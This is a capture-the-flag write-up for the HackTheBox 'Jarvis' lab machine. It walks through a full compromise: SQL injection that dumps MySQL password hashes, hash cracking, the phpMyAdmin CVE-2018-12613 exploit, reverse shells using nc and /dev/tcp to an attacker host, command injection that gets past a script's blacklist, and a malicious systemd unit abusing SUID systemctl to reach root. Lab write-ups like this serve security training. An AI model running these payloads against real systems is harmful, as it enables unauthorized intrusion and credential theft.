# Jarvis Writeup - HackTheBox

> SQL injection on hotel booking site leads to RCE via SQLMap's file write. Escalate through command injection in a script and sudo abuse of systemctl.

- **URL:** https://hackindex.io/writeups/jarvis
- **Platform:** HackTheBox
- **Difficulty:** Medium
- **Operating system:** Linux
- **Tags:** sql-injection, command-injection, lfi, privilege-escalation, suid, sudo-misconfiguration, gtfobins, hash-cracking
- **Authors:** [Mohammad Meraj](https://hackindex.io/authors/mohammad-meraj.md)
- **Read time:** 3 min read
- **Published:** 2026-07-31
- **Updated:** 2026-07-31

Jarvis is a Linux box that chains an unauthenticated SQL injection into a MySQL hash dump, hash cracking into phpMyAdmin access, and a known phpMyAdmin LFI-to-RCE for the initial foothold. From there, an incomplete command-injection filter in a sudo-accessible script lands a shell as a second user, and a misconfigured SUID `systemctl` closes out to root.

## Reconnaissance

### Port scan

```bash
rustscan -a $TARGET_IP -- -sC -sV -oA nmap/nmap
# PORT      STATE SERVICE VERSION
# 22/tcp    open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6
# 80/tcp    open  http    Apache httpd 2.4.25 ((Debian))
# |_http-title: Stark Hotel
# 64999/tcp open  http    Apache httpd 2.4.25 ((Debian))
```

Three ports. Port 80 runs the Stark Hotel app. Port 64999 served nothing useful and immediately issued a temporary IP ban on the first request, so it was left alone.

### Directory brute force

```bash
ffuf -u http://$TARGET_IP/FUZZ \
  -w /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt \
  -mc 200,301,403 -e .php,.txt,.html -fs 23628
# nav.php        [Status: 200, Size: 1333]
# footer.php     [Status: 200, Size: 2237]
# phpmyadmin     [Status: 301, Size: 321]
# connection.php [Status: 200, Size: 0]
```

A live `/phpmyadmin` install is notable. The hotel app's `room.php` uses a `cod` GET parameter to look up rooms. That parameter goes next.

## SQL Injection

### Finding the injection point

Testing `room.php?cod=1-- -` behaved differently from a normal integer, confirming the value is dropped into the query unquoted. The parameter is a classic numeric SQLi.

### Column count via UNION

Incrementing the column count until the query stops erroring:

```sql
http://$TARGET_IP/room.php?cod=1 union select 1,2,3,4,5,6,7
```

Seven columns. Using a non-existent `cod` value forces the UNION row to render on the page instead of a real record:

```sql
http://$TARGET_IP/room.php?cod=999 union select 1,2,3,4,5,6,7
```

### Database enumeration

Current database:

```sql
http://$TARGET_IP/room.php?cod=999 union select 1,database(),3,4,5,6,7
-> hotel
```

Tables in `hotel`:

```sql
http://$TARGET_IP/room.php?cod=999 union select 1,table_name,3,4,5,6,7
  from information_schema.tables where table_schema=database()
-> room
```

The `room` table only held hotel data. Moving to the `mysql` schema to look for credentials:

```sql
http://$TARGET_IP/room.php?cod=999 union select 1,GROUP_CONCAT(schema_name),3,4,5,6,7
  from information_schema.schemata
-> hotel,information_schema,mysql,performance_schema
```

### Dumping mysql.user

```
http://$TARGET_IP/room.php?cod=999 union select 1,GROUP_CONCAT(User,':',Password),3,4,5,6,7
  from mysql.user
-> DBadmin:*2D2B7A5E4E637B8FBA1D17F40318F277D29964D0
```

MySQL-format hash for `DBadmin`. Feed it to hashcat.

## Credential Recovery

### Cracking the MySQL hash

```bash
hashcat -m 300 -a 0 2D2B7A5E4E637B8FBA1D17F40318F277D29964D0 \
  /usr/share/wordlists/rockyou.txt
# 2d2b7a5e4e637b8fba1d17f40318f277d29964d0:$DBADMIN_PASSWORD
# Status: Cracked
```

### phpMyAdmin login and version check

Logged into `/phpmyadmin` as `DBadmin` with `$DBADMIN_PASSWORD`. The built-in docs page disclosed the version:

```sql
http://$TARGET_IP/phpmyadmin/doc/html/index.html
-> phpMyAdmin 4.8.0
```

phpMyAdmin 4.8.0 is vulnerable to CVE-2018-12613, an LFI that chains into RCE through session-file poisoning via query logging.

## Initial Access

### CVE-2018-12613 RCE

A working Python 2 PoC is available at [https://www.exploit-db.com/exploits/50457](https://www.exploit-db.com/exploits/50457). Confirm execution first:

```bash
python2 exploit.py $TARGET_IP 80 /phpmyadmin DBadmin $DBADMIN_PASSWORD whoami
# www-data
```

Trigger a reverse shell:

```bash
python2 exploit.py $TARGET_IP 80 /phpmyadmin DBadmin $DBADMIN_PASSWORD \
  'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc '$ATTACKER_IP' '$ATTACKER_PORT' >/tmp/f'
```

Catch it:

```bash
nc -lvnp $ATTACKER_PORT
```

Shell as `www-data`. Next is lateral movement to a real user.

## Lateral Movement

### sudo rights for www-data

```bash
sudo -l
# User www-data may run the following commands on jarvis:
#     (pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
```

`www-data` can run `simpler.py` as `pepper` with no password.

### Reviewing simpler.py

The script's `-p` flag invokes `exec_ping()`, which takes raw user input and passes it to `os.system('ping ' + command)`. It blacklists `&`, `;`, `-`, ```, `||`, and `|` but does not block `$()` command substitution:

```python
def exec_ping():
    forbidden = ['&', ';', '-', '`', '||', '|']
    command = input('Enter an IP: ')
    for i in forbidden:
        if i in command:
            print('Got you')
            exit()
    os.system('ping ' + command)
```

### Command injection via $()

```bash
sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
# Enter an IP: $(whoami)
# ping: pepper: Temporary failure in name resolution
```

`ping: pepper` in the error confirms the substitution ran as `pepper`.

### Reverse shell as pepper

Write a shell script to `/tmp` to avoid characters blocked by the filter:

```bash
echo '#!/bin/bash' > /tmp/shell.sh
echo 'sh -i >& /dev/tcp/'$ATTACKER_IP'/'$ATTACKER_PORT' 0>&1' >> /tmp/shell.sh
chmod +x /tmp/shell.sh
sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
# Enter an IP: $(/tmp/shell.sh)
```

```bash
nc -lvnp $ATTACKER_PORT
# connect from $TARGET_IP
# $ whoami
# pepper
```

Shell as `pepper`. Stabilize with `python3 -c 'import pty;pty.spawn("/bin/bash")'`.

## Privilege Escalation

### SUID enumeration

```bash
find / -type f -perm -4000 -exec ls -l {} \; 2>/dev/null
# -rwsr-x--- 1 root pepper 174520 Jun 29  2022 /bin/systemctl
# <snip standard distro binaries: fusermount, mount, ping, umount, su, newgrp,
# passwd, gpasswd, chsh, sudo, chfn, ssh-keysign, dbus-daemon-launch-helper>
```

`/bin/systemctl` is SUID root and scoped to the `pepper` group. Non-standard and immediately useful per GTFOBins.

### Malicious systemd service

Create a unit file that sets the SUID bit on `/bin/bash`:

```bash
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "chmod u+s /bin/bash"
[Install]
WantedBy=multi-user.target' > /home/pepper/root.service
```

Link and start it using the SUID `systemctl`:

```bash
systemctl link /home/pepper/root.service
systemctl start root.service
# Created symlink /etc/systemd/system/root.service -> /home/pepper/root.service.
#
```

### Root shell

```bash
/bin/bash -p
# bash-4.4# whoami
# root
```

Root reached.

##

Related

## References

- [EDB-50457](https://www.exploit-db.com/exploits/50457) - Python 2 PoC for CVE-2018-12613 phpMyAdmin 4.8.0 LFI to RCE.
- [GTFOBins systemctl](https://gtfobins.github.io/gtfobins/systemctl/) - systemctl abuse via malicious service unit to run commands as root.
- [NVD CVE-2018-12613](https://nvd.nist.gov/vuln/detail/CVE-2018-12613) - phpMyAdmin 4.8.0 local file inclusion via the target parameter leading to remote code execution.
